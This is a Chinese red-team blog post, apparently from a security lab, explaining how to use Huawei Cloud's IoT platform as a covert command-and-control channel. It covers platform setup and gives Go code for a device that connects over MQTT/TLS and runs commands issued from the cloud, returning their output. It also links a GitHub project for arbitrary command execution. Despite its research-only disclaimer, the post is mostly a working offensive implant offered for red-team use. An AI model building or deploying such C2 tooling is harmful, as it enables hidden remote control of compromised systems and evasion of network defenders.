免责声明:
本文章或工具仅供安全研究使用,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,极致攻防实验室及文章作者不为此承担任何责任。
前言:
在上一篇文章中使用了充当远程C2,利用其自带官方签名和官方通信信道的天然优势,结合默认安装手法,看似已经完美。但是作为服务的使用者,一切能力都是建立Sass服务商所提供的功能,其实仅简单的命令执行和文件上传,还是不太满足红队工作的常见场景。本文将介绍另一款使用某云厂商的物联网平台用作红队C2,并且可以在普通权限下,可自主实现功能代码与平台进行交互(附项目源码),用于拓展与满足红队日常渗透场景。(再次申明:云服务需要实名认证,请勿用于非法用途)。
一、平台准备:
开通免费单元:
使用账号登录到物联网平台,在IoTDA实例中,点击标准版,开通免费单元
实例名称随便填写,可以看到免费版支持1000台设备在线
创建产品:
创建产品,除了协议类型和数据格式,可以随便填写或选择,其中协议类型可以选择多种协议,此处选择MQTT协议。
创建服务:
定义模型,才能创建服务:
添加服务后,添加命令并且新增命令,命令参数此处添加了两个,用于接下来的命令执行的下发和响应。
注册设备:
设备ID和密钥用于后续C2的连接,其他默认即可:
注册设备完成后如图所示,等待设备连接后激活:
二、C2连接与功能开发:
C2开发即iot设备的开发,参考官方文档SDK参考,可以使用java、c#、c、python、go等语言进行开发,本文将使用GO语言进行c2(设备)的开发与连接:
设备连接:
CreateIotDevice处填入注册设备时的设备id和密钥、连接地址查看实例的接入信息
package main
import (
"fmt"
"github.com/ctlove0523/huaweicloud-iot-device-sdk-go"
)
func main() {
// 创建一个设备并初始化
device := iot.CreateIotDevice("xxx", "xxx", "tls://xxxx.xxx.myhuaweicloud.com:8883")
device.Init()
if device.IsConnected() {
fmt.Println("device connect huawei iot platform success")
} else {
fmt.Println("device connect huawei iot platform failed")
}
var forever chan struct{}
<-forever
}
尝试连接,平台测可以看到设备在线
功能开发:
接下来编写一个执行ipconfig功能
package main
import (
"fmt"
"github.com/ctlove0523/huaweicloud-iot-device-sdk-go"
)
func main() {
// 创建一个设备并初始化
device := iot.CreateIotDevice("xxx", "xxx", "tls://xxxx.xxx.myhuaweicloud.com:8883")
device.Init()
if device.IsConnected() {
fmt.Println("device connect huawei iot platform success")
} else {
fmt.Println("device connect huawei iot platform failed")
}
// 添加用于处理平台下发命令的callback
device.AddCommandHandler(func(command iot.Command) (bool, interface{}) {
cmd := exec.Command("cmd", "/c", "ipconfig")
output, err := cmd.CombinedOutput()
if err != nil {
return false, ""
}
return true, string(output)
})
var forever chan struct{}
<-forever
}
平台侧调试:
点击发送,可以看到命令结果回显:
三、hw-iot-c2:
https://github.com/UltimateSec/hw-iot-c2
修改一下命令形式,适配c2架构
任意命令执行:
更多功能可参考代码自主拓展。
自定义程序,无官方签名 云服务实名认证,请合法合规使用
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...